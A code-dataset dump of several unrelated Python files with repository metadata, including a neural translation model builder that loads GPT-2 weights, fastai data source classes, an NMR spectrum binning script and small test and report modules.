position_encoding_learned=pos_enc_learned, position_encoding_ctxsize=opt.position_encoding_ctxsize, feat_merge=opt.feat_merge, feat_vec_exponent=opt.feat_vec_exponent, feat_vec_size=opt.feat_vec_size, dropout=opt.dropout, word_padding_idx=word_padding_idx, feat_padding_idx=feat_pad_indices, word_vocab_size=num_word_embeddings, feat_vocab_sizes=num_feat_embeddings, sparse=opt.optim == "sparseadam", fix_word_vecs=fix_word_vecs, GPT_representation_mode=GPT_representation_mode, GPT_representation_tgt=not for_encoder ) return emb def build_encoder(opt, embeddings): enc_type = opt.encoder_type if opt.model_type == "text" else opt.model_type return str2enc[enc_type].from_opt(opt, embeddings) def build_decoder(opt, embeddings): dec_type = "ifrnn" if opt.decoder_type == "rnn" and opt.input_feed \ else opt.decoder_type return str2dec[dec_type].from_opt(opt, embeddings) def load_test_model(opt, model_path=None): if model_path is None: model_path = opt.models[0] checkpoint = torch.load(model_path, map_location=lambda storage, loc: storage) model_opt = ArgumentParser.ckpt_model_opts(checkpoint['opt']) ArgumentParser.update_model_opts(model_opt) ArgumentParser.validate_model_opts(model_opt) vocab = checkpoint['vocab'] if inputters.old_style_vocab(vocab): fields = inputters.load_old_vocab( vocab, opt.data_type, dynamic_dict=model_opt.copy_attn ) else: fields = vocab model = build_base_model(model_opt, fields, use_gpu(opt), checkpoint, opt.gpu) if opt.fp32: model.float() model.eval() model.generator.eval() return fields, model, model_opt class PadGen(nn.Module): def __init__(self): super(PadGen, self).__init__() def forward(self, vals): vals[..., 50257:] = -1e10 return vals def build_base_model(model_opt, fields, gpu, checkpoint=None, gpu_id=None): if model_opt.model_type == "text": src_field = fields["src"] src_emb = build_embeddings(model_opt, src_field) else: src_emb = None encoder = build_encoder(model_opt, src_emb) tgt_field = fields["tgt"] tgt_emb = build_embeddings(model_opt, tgt_field, for_encoder=False) if model_opt.share_embeddings: assert src_field.base_field.vocab == tgt_field.base_field.vocab, \ "preprocess with -share_vocab if you use share_embeddings" tgt_emb.word_lut.weight = src_emb.word_lut.weight if model_opt.share_position_embeddings: tgt_emb.make_embedding.pe.pe.weight = src_emb.make_embedding.pe.pe.weight decoder = build_decoder(model_opt, tgt_emb) if gpu and gpu_id is not None: device = torch.device("cuda", gpu_id) elif gpu and not gpu_id: device = torch.device("cuda") elif not gpu: device = torch.device("cpu") if model_opt.simple_fusion: layers = 12 size = 768 heads = 12 lm_decoder_opt = copy.deepcopy(model_opt) lm_decoder_opt.dec_layers = layers lm_decoder_opt.use_GPT_version_ctxattn = False lm_decoder_opt.use_GPT_version_psa = False lm_decoder_opt.use_GPT_version_unconditional = True lm_decoder_opt.tgt_word_vec_size = size lm_decoder_opt.rnn_size = size lm_decoder_opt.dec_rnn_size = size lm_decoder_opt.transformer_ff = size*4 lm_decoder_opt.dec_heads = heads lm_decoder_opt.position_encoding_learned_dec = True lm_decoder_opt.share_decoder_embeddings = True lm_decoder_opt.dropout = 0 lm_decoder_emb = build_embeddings(lm_decoder_opt, tgt_field, for_encoder=False) logger.info(lm_decoder_emb) lm_decoder = build_decoder(lm_decoder_opt, lm_decoder_emb) load_decoder = lm_decoder model = onmt.models.SimpleFusionModel(encoder, decoder, lm_decoder) generator = SimpleFusionGenerator(model_opt.dec_rnn_size, lm_decoder_opt.dec_rnn_size, len(fields["tgt"].base_field.vocab)) generator.lm_linear.weight = lm_decoder.embeddings.word_lut.weight if model_opt.share_decoder_embeddings: generator.decoder_linear.weight = decoder.embeddings.word_lut.weight gen_linear = generator.lm_linear else: load_decoder = decoder if model_opt.unconditional: model = onmt.models.UncondModel(decoder) elif model_opt.num_src > 1: from argparse import Namespace agenda_field = fields["agenda"] agenda_opt = Namespace(**model_opt.__dict__) for k in agenda_opt.__dict__.keys(): if hasattr(model_opt, f"agenda_{k}"): setattr(agenda_opt, k, getattr(model_opt, f"agenda_{k}")) agenda_emb = build_embeddings(agenda_opt, agenda_field) agenda_encoder = build_encoder(model_opt, agenda_emb) encoders = nn.ModuleList([encoder, agenda_encoder]) model = onmt.neural_checklist.MultiSrcNMTModel(encoders, decoder) else: model = onmt.models.NMTModel(encoder, decoder) if not model_opt.copy_attn: if model_opt.generator_function == "sparsemax": gen_func = onmt.modules.sparse_activations.LogSparsemax(dim=-1) else: gen_func = nn.LogSoftmax(dim=-1) if model_opt.padded_vocab_fix_me_later: gen_func = nn.Sequential(PadGen(), gen_func) generator = nn.Sequential( nn.Linear(model_opt.dec_rnn_size, len(fields["tgt"].base_field.vocab)), Cast(torch.float32), gen_func ) if model_opt.share_decoder_embeddings: generator[0].weight = decoder.embeddings.word_lut.weight gen_linear = generator[0] else: tgt_base_field = fields["tgt"].base_field vocab_size = len(tgt_base_field.vocab) pad_idx = tgt_base_field.vocab.stoi[tgt_base_field.pad_token] generator = CopyGenerator(model_opt.dec_rnn_size, vocab_size, pad_idx) if model_opt.share_decoder_embeddings: generator.linear.weight = decoder.embeddings.word_lut.weight gen_linear = generator.linear if model_opt.encdec_share_params: for name, p in decoder.named_parameters(): if 'ctx' in name or 'context' in name: continue pointer = encoder attrs = name.split('.') for attr_name in attrs[:-1]: pointer = getattr(pointer, attr_name) setattr(pointer, attrs[-1], p) if checkpoint is not None: if 'gpt2_params' not in checkpoint and 'enc_model' not in checkpoint: def fix_key(s): s = re.sub(r'(.*)\.layer_norm((_\d+)?)\.b_2', r'\1.layer_norm\2.bias', s) s = re.sub(r'(.*)\.layer_norm((_\d+)?)\.a_2', r'\1.layer_norm\2.weight', s) return s checkpoint['model'] = {fix_key(k): v for k, v in checkpoint['model'].items()} if hasattr(model_opt, 'load_uncond_from') and model_opt.load_uncond_from: for p in decoder.parameters(): if p.dim() > 1: xavier_uniform_(p) for p in encoder.parameters(): if p.dim() > 1: xavier_uniform_(p) if model_opt.ctx_weight_param: for name, p in decoder.named_parameters(): if 'ctx_weight' in name: p.data.zero_() if 'ctx_bias' in name: p.data.fill_(-10) model.load_state_dict(checkpoint['model'], strict=False) generator.load_state_dict(checkpoint['generator'], strict=False) else: if 'gpt2_params' in checkpoint: init_something = model_opt.gpt2_init_embanddec or model_opt.simple_fusion or model_opt.gpt2_init_embandenc or model_opt.GPT_representation_mode != 'none' if init_something: if model_opt.gpt2_init_zero: for p in decoder.parameters(): p.data.zero_() if model_opt.simple_fusion: generator.decoder_linear.weight.data.zero_() generator.decoder_linear.bias.data.zero_() else: for p in decoder.parameters(): if p.dim() > 1: xavier_uniform_(p) if encoder is not None: for p in encoder.parameters(): if p.dim() > 1: xavier_uniform_(p) for p in generator.parameters(): if p.dim() > 1: xavier_uniform_(p) if model_opt.zero_bias_init: gen_linear.bias.data.zero_() if model_opt.ctx_weight_param: for name, p in decoder.named_parameters(): if 'ctx_weight' in name: p.data.zero_() if 'ctx_bias' in name: p.data.fill_(-10) gen_linear.bias.data.zero_() load_models = [] if model_opt.GPT_representation_mode != 'none': load_embs = [] if model_opt.GPT_representation_loc in ['both', 'src']: load_models.append(src_emb.gpt_model) load_embs.append(src_emb) if model_opt.GPT_representation_loc in ['both', 'tgt']: load_models.append(tgt_emb.gpt_model) load_embs.append(tgt_emb) else: if model_opt.gpt2_init_embanddec or model_opt.simple_fusion: load_models = [load_decoder] elif model_opt.gpt2_init_embandenc: load_models = [encoder] it_list = list(checkpoint['gpt2_params']) for lm_idx, load_model in enumerate(load_models): for name, array in it_list: name = name[6:] name = name.split('/') assigned = False if name[0] == 'wpe': if model_opt.GPT_representation_mode != 'none': pointer = load_embs[lm_idx].make_embedding.pe.pe.weight else: pointer = load_model.embeddings.make_embedding.pe.pe.weight elif name[0] == 'wte': if model_opt.GPT_representation_mode != 'none': pointer = [load_embs[lm_idx].make_embedding.emb_luts[0].weight, gen_linear.weight] else: pointer = [load_model.embeddings.make_embedding.emb_luts[0].weight] if not model_opt.nopretrain_decemb: pointer.append(gen_linear.weight) if model_opt.simple_fusion and model_opt.sf_pretrain_dec_emb: pointer.append(decoder.embeddings.make_embedding.emb_luts[0].weight) elif name[0] == 'ln_f': if name[1] == 'g': pointer = load_model.layer_norm.weight elif name[1] == 'b': pointer = load_model.layer_norm.bias else: raise ValueError('I am missing something here!') elif name[0][0] == 'h': layer_num = name[0][1:] pointer = getattr(load_model.transformer_layers, layer_num) if name[1] == 'attn': assigned = True pointer = pointer.self_attn full_data = torch.from_numpy(array) if name[2] == 'c_attn': end_size = full_data.shape[-1]//3 assert full_data.shape[-1] % 3 == 0 if name[3] == 'b': if init_something: pointer.linear_query.bias.data = full_data[:end_size] pointer.linear_keys.bias.data = full_data[end_size:end_size*2] pointer.linear_values.bias.data = full_data[end_size*2:] if model_opt.gpt2_params_std > 0: pointer.linear_query.bias.orig = full_data[:end_size].clone() pointer.linear_keys.bias.orig = full_data[end_size:end_size*2].clone() pointer.linear_values.bias.orig = full_data[end_size*2:].clone() elif name[3] == 'w': if init_something: pointer.linear_query.weight.data = full_data[:, :end_size].t().contiguous() pointer.linear_keys.weight.data = full_data[:, end_size:end_size*2].t().contiguous() pointer.linear_values.weight.data = full_data[:, end_size*2:].t().contiguous() if model_opt.gpt2_params_std > 0: pointer.linear_query.weight.orig = full_data[:, :end_size].t().contiguous().clone() pointer.linear_keys.weight.orig = full_data[:, end_size:end_size*2].t().contiguous().clone() pointer.linear_values.weight.orig = full_data[:, end_size*2:].t().contiguous().clone() else: raise ValueError('I am missing something here!') elif name[2] == 'c_proj': if name[3] == 'b': if init_something: pointer.final_linear.bias.data = full_data if model_opt.gpt2_params_std > 0: pointer.final_linear.bias.orig = full_data.clone() elif name[3] == 'w': if init_something: pointer.final_linear.weight.data = full_data.t().contiguous() if model_opt.gpt2_params_std > 0: pointer.final_linear.weight.orig = full_data.t().contiguous().clone() else: raise ValueError('I am missing something here!') elif name[1] == 'ln_1' or name[1] == 'ln_2': num = name[1][3] pointer = getattr(pointer, 'layer_norm_'+num) if name[2] == 'b': pointer = pointer.bias elif name[2] == 'g': pointer = pointer.weight else: raise ValueError('I am missing something here!') elif name[1] == 'mlp': pointer = pointer.feed_forward pointer = getattr(pointer, name[2]) if name[3] == 'b': pointer = pointer.bias elif name[3] == 'w': pointer = pointer.weight else: raise ValueError('I am missing something here!') else: raise ValueError('I am missing something here!') else: raise ValueError('I am missing something here!') if not assigned: if name[-1] == 'w' or name[-1] == 'g': array = array.T if not isinstance(pointer, list): pointer = [pointer] for pointer_i in pointer: target_size = int(math.ceil(array.shape[0]/8))*8 padded_vocab = name[0] == 'wte' and pointer_i.shape[0] == target_size padded_vocab = padded_vocab and pointer_i.shape[1:] == array.shape[1:] try: assert pointer_i.shape == array.shape or padded_vocab except AssertionError as e: e.args += (pointer_i.shape, array.shape) raise if init_something: print("Initialize PyTorch weight {}".format(name)) if padded_vocab: pointer_i.data[:array.shape[0]] = torch.from_numpy(array) else: pointer_i.data = torch.from_numpy(array) if model_opt.gpt2_params_std > 0: if padded_vocab: raise NotImplementedError else: pointer_i.orig = torch.from_numpy(array).clone() if 'enc_model' in checkpoint: load_dict = {k[8:]: v for k, v in checkpoint['enc_model'] if 'encoder' in k} encoder.load_state_dict(load_dict, strict=True) else: if model_opt.param_init != 0.0: for p in model.parameters(): p.data.uniform_(-model_opt.param_init, model_opt.param_init) for p in generator.parameters(): p.data.uniform_(-model_opt.param_init, model_opt.param_init) if model_opt.param_init_glorot: for p in model.parameters(): if p.dim() > 1: xavier_uniform_(p) for p in generator.parameters(): if p.dim() > 1: xavier_uniform_(p) if not model_opt.unconditional and hasattr(model.encoder, 'embeddings') \ and model.encoder.embeddings is not None: model.encoder.embeddings.load_pretrained_vectors( model_opt.pre_word_vecs_enc) if hasattr(model.decoder, 'embeddings'): model.decoder.embeddings.load_pretrained_vectors( model_opt.pre_word_vecs_dec) if model_opt.notrain_emb or model_opt.notrain_embanddec: if model_opt.position_encoding_learned_enc and model_opt.share_position_embeddings: model.encoder.embeddings.make_embedding.pe.pe.weight.requires_grad = False if model_opt.share_embeddings: model.encoder.embeddings.make_embedding.emb_luts[0].weight.requires_grad = False model.decoder.embeddings.make_embedding.pe.pe.weight.requires_grad = False model.decoder.embeddings.make_embedding.emb_luts[0].weight.requires_grad = False generator[0].weight.requires_grad = False if model_opt.notrain_genbias: generator[0].bias.requires_grad = False if model_opt.notrain_embanddec: for name, p in load_decoder.layer_norm.named_parameters(): p.requires_grad = False for name, p in load_decoder.transformer_layers.named_parameters(): if 'context' not in name and 'ctx' not in name: p.requires_grad = False if model_opt.onlytrainln: for name, p in model.decoder.named_parameters(): if 'layer_norm' not in name: p.requires_grad = False for p in generator.parameters(): p.requires_grad = False if model_opt.onlytrainoutp: if model_opt.share_decoder_embeddings: raise ValueError for p in model.decoder.parameters(): p.requires_grad = False if model_opt.simple_fusion: for p in lm_decoder.parameters(): p.requires_grad = False for p in generator.lm_linear.parameters(): p.requires_grad = False model.generator = generator model.to(device) if model_opt.model_dtype == 'fp16': model.half() for p in model.parameters(): if hasattr(p, 'orig'): p.orig = p.orig.to(device) if model_opt.model_dtype == 'fp16': p.orig = p.orig.half() return model def linear_repr_patch(self): return 'in_features={}, out_features={}, bias={}, wgrad={}, bgrad={}'.format( self.in_features, self.out_features, self.bias is not None, self.weight.requires_grad, self.bias.requires_grad if self.bias is not None else 'N/A' ) def ln_repr_patch(self): string = '{normalized_shape}, eps={eps}, ' \ 'elementwise_affine={elementwise_affine}'.format(**self.__dict__) string += ', wgrad={}, bgrad={}'.format(self.weight.requires_grad if self.weight is not None else 'N/A', self.bias.requires_grad if self.bias is not None else 'N/A') return string def emb_repr_patch(self): s = '{num_embeddings}, {embedding_dim}' if self.padding_idx is not None: s += ', padding_idx={padding_idx}' if self.max_norm is not None: s += ', max_norm={max_norm}' if self.norm_type != 2: s += ', norm_type={norm_type}' if self.scale_grad_by_freq is not False: s += ', scale_grad_by_freq={scale_grad_by_freq}' if self.sparse is not False: s += ', sparse=True' s = s.format(**self.__dict__) s += ', grad={}'.format(self.weight.requires_grad) return s def build_model(model_opt, opt, fields, checkpoint): logger.info('Building model...') model = build_base_model(model_opt, fields, use_gpu(opt), checkpoint) nn.Linear.extra_repr = linear_repr_patch nn.LayerNorm.extra_repr = ln_repr_patch nn.Embedding.extra_repr = emb_repr_patch logger.info(model) return model

true

1c4246c3000494cc4c4d7a4c26fd49406dd8cde8

3,398

py

Python

dev/local/data/source.py

LaurenSpiegel/fastai_docs

4fe6b62116d88dea9610548133e6cadb6b260a73

[ "Apache-2.0" ]

null

dev/local/data/source.py

LaurenSpiegel/fastai_docs

4fe6b62116d88dea9610548133e6cadb6b260a73

[ "Apache-2.0" ]

null

dev/local/data/source.py

LaurenSpiegel/fastai_docs

4fe6b62116d88dea9610548133e6cadb6b260a73

[ "Apache-2.0" ]

null

#AUTOGENERATED! DO NOT EDIT! File to edit: dev/05_data_source.ipynb (unless otherwise specified). __all__ = ['DataSource', 'DsrcSubset', 'DsrcSubset'] from ..imports import * from ..test import * from ..core import * from .core import * from .pipeline import * from ..notebook.showdoc import show_doc @docs class DataSource(PipedList): "Applies a `Pipeline` of `tfms` to filtered subsets of `items`" def __init__(self, items, tfms=None, filts=None): if filts is None: filts = [range_of(items)] self.filts = L(mask2idxs(filt) for filt in filts) # Create map from item id to filter id assert all_disjoint(self.filts) self.filt_idx = L([None]*len(items)) for i,f in enumerate(self.filts): self.filt_idx[f] = i super().__init__(items, tfms) @property def n_subsets(self): return len(self.filts) def len(self,filt): return len(self.filts[filt]) def subset(self, i): return DsrcSubset(self, i) def subsets(self): return map(self.subset, range(self.n_subsets)) def __repr__(self): return '\n'.join(map(str,self.subsets())) + f'\ntfm - {self.tfm}' def __getitem__(self, i): "Transformed item(s) at `i`" its,fts = self.items[i],self.filt_idx[i] if is_iter(i): return L(self.tfm(it, filt=f) for it,f in zip(its,fts)) else: return self.tfm(its, filt=fts) _docs = dict(len="`len` of subset `filt`", subset="Filtered `DsrcSubset` `i`", subsets="Iterator for all subsets") DataSource.train,DataSource.valid = add_props(lambda i,x: x.subset(i), 2) @docs class DsrcSubset(): "A filtered subset of a `DataSource`" def __init__(self, dsrc, filt): self.dsrc,self.filt,self.filts = dsrc,filt,dsrc.filts[filt] def __getitem__(self,i): return self.dsrc[self.filts[i]] def decode(self, o, **kwargs): return self.dsrc.decode(o, self.filt, **kwargs) def decode_at(self, i, **kwargs): return self.decode(self[i], **kwargs) def show_at (self, i, **kwargs): return self.dsrc.show(self.decode_at(i), **kwargs) def __len__(self): return len(self.filts) def __eq__(self,b): return all_equal(b,self) def __repr__(self): return coll_repr(self) _docs = dict(decode="Transform decode", __getitem__="Encoded item(s) at `i`", decode_at="Decoded item at `i`", show_at="Show item at `i`") @docs class DsrcSubset(): "A filtered subset of a `DataSource`" def __init__(self, dsrc, filt): self.dsrc,self.filt,self.filts = dsrc,filt,dsrc.filts[filt] def __getitem__(self,i): return self.dsrc[self.filts[i]] def decode(self, o, **kwargs): return self.dsrc.decode(o, filt=self.filt, **kwargs) def decode_batch(self, b, **kwargs): return self.dsrc.decode_batch(b, filt=self.filt, **kwargs) def decode_at(self, i, **kwargs): return self.decode(self[i], **kwargs) def show_at (self, i, **kwargs): return self.dsrc.show(self[i], filt=self.filt, **kwargs) def __len__(self): return len(self.filts) def __eq__(self,b): return all_equal(b,self) def __repr__(self): return coll_repr(self) _docs = dict(decode="Transform decode", decode_batch="Transform decode batch", __getitem__="Encoded item(s) at `i`", decode_at="Decoded item at `i`", show_at="Show decoded item at `i`")

44.12987

99

0.64744

__all__ = ['DataSource', 'DsrcSubset', 'DsrcSubset'] from ..imports import * from ..test import * from ..core import * from .core import * from .pipeline import * from ..notebook.showdoc import show_doc @docs class DataSource(PipedList): def __init__(self, items, tfms=None, filts=None): if filts is None: filts = [range_of(items)] self.filts = L(mask2idxs(filt) for filt in filts) assert all_disjoint(self.filts) self.filt_idx = L([None]*len(items)) for i,f in enumerate(self.filts): self.filt_idx[f] = i super().__init__(items, tfms) @property def n_subsets(self): return len(self.filts) def len(self,filt): return len(self.filts[filt]) def subset(self, i): return DsrcSubset(self, i) def subsets(self): return map(self.subset, range(self.n_subsets)) def __repr__(self): return '\n'.join(map(str,self.subsets())) + f'\ntfm - {self.tfm}' def __getitem__(self, i): its,fts = self.items[i],self.filt_idx[i] if is_iter(i): return L(self.tfm(it, filt=f) for it,f in zip(its,fts)) else: return self.tfm(its, filt=fts) _docs = dict(len="`len` of subset `filt`", subset="Filtered `DsrcSubset` `i`", subsets="Iterator for all subsets") DataSource.train,DataSource.valid = add_props(lambda i,x: x.subset(i), 2) @docs class DsrcSubset(): def __init__(self, dsrc, filt): self.dsrc,self.filt,self.filts = dsrc,filt,dsrc.filts[filt] def __getitem__(self,i): return self.dsrc[self.filts[i]] def decode(self, o, **kwargs): return self.dsrc.decode(o, self.filt, **kwargs) def decode_at(self, i, **kwargs): return self.decode(self[i], **kwargs) def show_at (self, i, **kwargs): return self.dsrc.show(self.decode_at(i), **kwargs) def __len__(self): return len(self.filts) def __eq__(self,b): return all_equal(b,self) def __repr__(self): return coll_repr(self) _docs = dict(decode="Transform decode", __getitem__="Encoded item(s) at `i`", decode_at="Decoded item at `i`", show_at="Show item at `i`") @docs class DsrcSubset(): def __init__(self, dsrc, filt): self.dsrc,self.filt,self.filts = dsrc,filt,dsrc.filts[filt] def __getitem__(self,i): return self.dsrc[self.filts[i]] def decode(self, o, **kwargs): return self.dsrc.decode(o, filt=self.filt, **kwargs) def decode_batch(self, b, **kwargs): return self.dsrc.decode_batch(b, filt=self.filt, **kwargs) def decode_at(self, i, **kwargs): return self.decode(self[i], **kwargs) def show_at (self, i, **kwargs): return self.dsrc.show(self[i], filt=self.filt, **kwargs) def __len__(self): return len(self.filts) def __eq__(self,b): return all_equal(b,self) def __repr__(self): return coll_repr(self) _docs = dict(decode="Transform decode", decode_batch="Transform decode batch", __getitem__="Encoded item(s) at `i`", decode_at="Decoded item at `i`", show_at="Show decoded item at `i`")

true

1c424705772097a3c80a8562483cdfce635a7dd3

403

py

Python

mayan/apps/common/tests/test_api.py

nattangwiwat/Mayan-EDMS-recitation

fcf16afb56eae812fb99144d65ae1ae6749de0b7

[ "Apache-2.0" ]

343

2015-01-05T14:19:35.000Z

2018-12-10T19:07:48.000Z

mayan/apps/common/tests/test_api.py

nattangwiwat/Mayan-EDMS-recitation

fcf16afb56eae812fb99144d65ae1ae6749de0b7

[ "Apache-2.0" ]

191

2015-01-03T00:48:19.000Z

2018-11-30T09:10:25.000Z

mayan/apps/common/tests/test_api.py

nattangwiwat/Mayan-EDMS-recitation

fcf16afb56eae812fb99144d65ae1ae6749de0b7

[ "Apache-2.0" ]

257

2019-05-14T10:26:37.000Z

2022-03-30T03:37:36.000Z

from rest_framework import status from mayan.apps.rest_api.tests.base import BaseAPITestCase from .mixins import CommonAPITestMixin class CommonAPITestCase(CommonAPITestMixin, BaseAPITestCase): auto_login_user = False def test_content_type_list_api_view(self): response = self._request_content_type_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK)

28.785714

66

0.808933

from rest_framework import status from mayan.apps.rest_api.tests.base import BaseAPITestCase from .mixins import CommonAPITestMixin class CommonAPITestCase(CommonAPITestMixin, BaseAPITestCase): auto_login_user = False def test_content_type_list_api_view(self): response = self._request_content_type_list_api_view() self.assertEqual(response.status_code, status.HTTP_200_OK)

true

1c4247727af42b6f5aaf853eecedbf57120e3803

2,415

py

Python

checkmerge/analysis/report.py

jjkester/checkmerge

23d1d9982cd7dc333b5748be3415e9b92f6576f4

[ "Apache-2.0" ]

1

2019-06-16T07:57:15.000Z

checkmerge/analysis/report.py

jjkester/checkmerge

23d1d9982cd7dc333b5748be3415e9b92f6576f4

[ "Apache-2.0" ]

null

checkmerge/analysis/report.py

jjkester/checkmerge

23d1d9982cd7dc333b5748be3415e9b92f6576f4

[ "Apache-2.0" ]

null

import collections import itertools import typing from checkmerge import analysis, report class AnalysisResultMaxSeverityMetric(report.Metric): """ Metric for the maximum analysis result severity within a type. """ name = 'Max. severity' low = .5 high = 1.5 def __init__(self, items: typing.List[analysis.AnalysisResult]): """ :param cls: The type of analysis result. :param items: The results of the given type. """ value = max((item.severity for item in items)) super(AnalysisResultMaxSeverityMetric, self).__init__(value) class AnalysisResultAvgSeverityMetric(report.Metric): """ Metric for the average analysis result severity within a type. """ name = 'Avg. severity' low = .5 high = 1.5 def __init__(self, items: typing.List[analysis.AnalysisResult]): """ :param cls: The type of analysis result. :param items: The results of the given type. """ value = sum((item.severity for item in items)) / float(len(items)) super(AnalysisResultAvgSeverityMetric, self).__init__(value) class AnalysisResultMetric(report.Metric): """ Parent metric for types of analysis results. """ low = 1 high = 5 def __init__(self, cls: typing.Type[analysis.AnalysisResult], items: typing.List[analysis.AnalysisResult]): self.name = cls.name items = list(items) max_severity = AnalysisResultMaxSeverityMetric(items) avg_severity = AnalysisResultAvgSeverityMetric(items) super(AnalysisResultMetric, self).__init__(len(items), children=[max_severity, avg_severity]) class AnalysisReport(report.Report): """ Report for analysis results. """ has_metrics = True has_conflicts = True def __init__(self, results: typing.Iterable[analysis.AnalysisResult]): self.results_by_type = collections.defaultdict(list) for result in results: self.results_by_type[result.__class__].append(result) def get_metrics(self) -> typing.Iterable[report.Metric]: for cls, items in sorted(self.results_by_type.items(), key=lambda i: i[0].name): yield AnalysisResultMetric(cls, items) def get_conflicts(self) -> typing.Iterable[analysis.AnalysisResult]: return sorted(itertools.chain(*self.results_by_type.values()), key=lambda r: -r.severity)

31.776316

111

0.677847

import collections import itertools import typing from checkmerge import analysis, report class AnalysisResultMaxSeverityMetric(report.Metric): name = 'Max. severity' low = .5 high = 1.5 def __init__(self, items: typing.List[analysis.AnalysisResult]): value = max((item.severity for item in items)) super(AnalysisResultMaxSeverityMetric, self).__init__(value) class AnalysisResultAvgSeverityMetric(report.Metric): name = 'Avg. severity' low = .5 high = 1.5 def __init__(self, items: typing.List[analysis.AnalysisResult]): value = sum((item.severity for item in items)) / float(len(items)) super(AnalysisResultAvgSeverityMetric, self).__init__(value) class AnalysisResultMetric(report.Metric): low = 1 high = 5 def __init__(self, cls: typing.Type[analysis.AnalysisResult], items: typing.List[analysis.AnalysisResult]): self.name = cls.name items = list(items) max_severity = AnalysisResultMaxSeverityMetric(items) avg_severity = AnalysisResultAvgSeverityMetric(items) super(AnalysisResultMetric, self).__init__(len(items), children=[max_severity, avg_severity]) class AnalysisReport(report.Report): has_metrics = True has_conflicts = True def __init__(self, results: typing.Iterable[analysis.AnalysisResult]): self.results_by_type = collections.defaultdict(list) for result in results: self.results_by_type[result.__class__].append(result) def get_metrics(self) -> typing.Iterable[report.Metric]: for cls, items in sorted(self.results_by_type.items(), key=lambda i: i[0].name): yield AnalysisResultMetric(cls, items) def get_conflicts(self) -> typing.Iterable[analysis.AnalysisResult]: return sorted(itertools.chain(*self.results_by_type.values()), key=lambda r: -r.severity)

true

1c42484dfb1349b7f128742b125618ab7f66f4ea

553

py

Python

_singleActions-AsScripts/04_AnalyzePhotos.py

campbell-ja/MetashapePythonScripts

b4a54e49558a8a7d1c5dc2327f878a8c354bbe58

[ "CC0-1.0" ]

4

2021-06-17T03:06:19.000Z

2022-02-08T17:39:29.000Z

_singleActions-AsScripts/04_AnalyzePhotos.py

campbell-ja/MetashapePythonScripts

b4a54e49558a8a7d1c5dc2327f878a8c354bbe58

[ "CC0-1.0" ]

null

_singleActions-AsScripts/04_AnalyzePhotos.py

campbell-ja/MetashapePythonScripts

b4a54e49558a8a7d1c5dc2327f878a8c354bbe58

[ "CC0-1.0" ]

null

# This script created by Joseph Aaron Campbell - 10/2020 """ Set up Working Environment """ # import Metashape library module import Metashape # create a reference to the current project via Document Class doc = Metashape.app.document # set reference for the currently active chunk activeChunk = Metashape.app.document.chunk # Estimate image quality # this populates the 'Quality' column in the photos pane, under 'details' view # this is not indicative of the actual image quality and is just here for example activeChunk.analyzePhotos()

39.5

82

0.772152

import Metashape doc = Metashape.app.document activeChunk = Metashape.app.document.chunk activeChunk.analyzePhotos()

true

1c424a3c4b56515039f7ae7f528464de549d5d37

2,216

py

Python

py-code/nmrvar.py

alvicler/python-nmr

7b68275f0e1e8dd85622a6b796dc618eb5ac3e62

[ "BSD-3-Clause" ]

null

py-code/nmrvar.py

alvicler/python-nmr

7b68275f0e1e8dd85622a6b796dc618eb5ac3e62

[ "BSD-3-Clause" ]

null

py-code/nmrvar.py

alvicler/python-nmr

7b68275f0e1e8dd85622a6b796dc618eb5ac3e62

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # coding: utf-8 # In[ ]: import nmrglue as ng import sys import numpy as np import pandas as pd get_ipython().run_line_magic('matplotlib', 'qt5') import matplotlib.pyplot as plt #import matplotlib #print('Python version ' + sys.version) #print('Pandas version ' + pd.__version__) #print('Matplotlib version ' + matplotlib.__version__) import os samples = len(os.listdir('urine')) this = sys.modules[__name__] # this is now your current namespace def find_nearest(array, value): array = np.asarray(array) idx = (np.abs(array - value)).argmin() return idx # or array[idx] i = 1 df = pd.DataFrame([]) yarr=[] xarr=[] ## set the number of 1r files to open, always open first processed spectra ## while i < samples+1: name="urine/Calvin_Gab_ATU"+str(i)+"/1/pdata/1" dic, data= ng.bruker.read_pdata(name) sf=float(dic["procs"]["SF"]) sfo1=float(dic["acqus"]["SFO1"]) o1=float(dic["acqus"]["O1"]) hzppt=float(dic["acqus"]["SW_h"])/len(data) swh=float(dic["acqus"]["SW_h"]) sr=o1+(sf-sfo1)*1000000. pts=int(sr//hzppt) # Calc pts to Calibrate 0ppm to Xscale data = ng.proc_base.rev(data) # reverse the data #setattr(this, 'data%s' % i, data) #### scale x from pts to ppm ### ## Bin size for PCA## si=len(data) xs=[] for j in range(0-pts,si-pts): hz=float(((o1-swh/2)+(hzppt*(j)))/sf) xs+=[hz] xs = np.asarray(xs) #setattr(this, 'xs%s' % i, xs) #xmin=xs.min() xmin=-.25 #xmax=xs.max() xmax=1.4 ## Bin size for PCA## xbin=(xmax-xmin)/5 #xbin=.25 k=1 f=0 a={} for j in np.arange(xmin,xmax, xbin): f=j+xbin fpos=find_nearest(xs, f) jpos=find_nearest(xs, j) #print(jpos,fpos) peak = data[jpos:fpos] #peak_scale=xs[j:f] #if peak.sum()<0: # a['slice.'+str(k)]=0 #else: #a[k]=peak.max().cumsum() a[k]=peak.sum() k+=1 #setattr(this, 'databin%s' % i, a) b=pd.Series(a, name=i) df = df.append(b) yarr.append(data) xarr.append(xs) i += 1 ## index for number of spectra df

22.845361

77

0.570397

import nmrglue as ng import sys import numpy as np import pandas as pd get_ipython().run_line_magic('matplotlib', 'qt5') import matplotlib.pyplot as plt import os samples = len(os.listdir('urine')) this = sys.modules[__name__] def find_nearest(array, value): array = np.asarray(array) idx = (np.abs(array - value)).argmin() return idx i = 1 df = pd.DataFrame([]) yarr=[] xarr=[] ic, data= ng.bruker.read_pdata(name) sf=float(dic["procs"]["SF"]) sfo1=float(dic["acqus"]["SFO1"]) o1=float(dic["acqus"]["O1"]) hzppt=float(dic["acqus"]["SW_h"])/len(data) swh=float(dic["acqus"]["SW_h"]) sr=o1+(sf-sfo1)*1000000. pts=int(sr//hzppt) data = ng.proc_base.rev(data) /sf) xs+=[hz] xs = np.asarray(xs) xmin=-.25 xmax=1.4 k=1 f=0 a={} for j in np.arange(xmin,xmax, xbin): f=j+xbin fpos=find_nearest(xs, f) jpos=find_nearest(xs, j) peak = data[jpos:fpos] a[k]=peak.sum() k+=1 b=pd.Series(a, name=i) df = df.append(b) yarr.append(data) xarr.append(xs) i += 1

true

1c424ae2b5a7e4f8cc44cdee482b49da3c0d31b5

1,622

py

Python

backend/course/api/v1/serializers.py

crowdbotics-apps/suraj-30223

1830a1c3dcd5ca56e817ec2dd110778c5ab1feb4

[ "FTL", "AML", "RSA-MD" ]

null

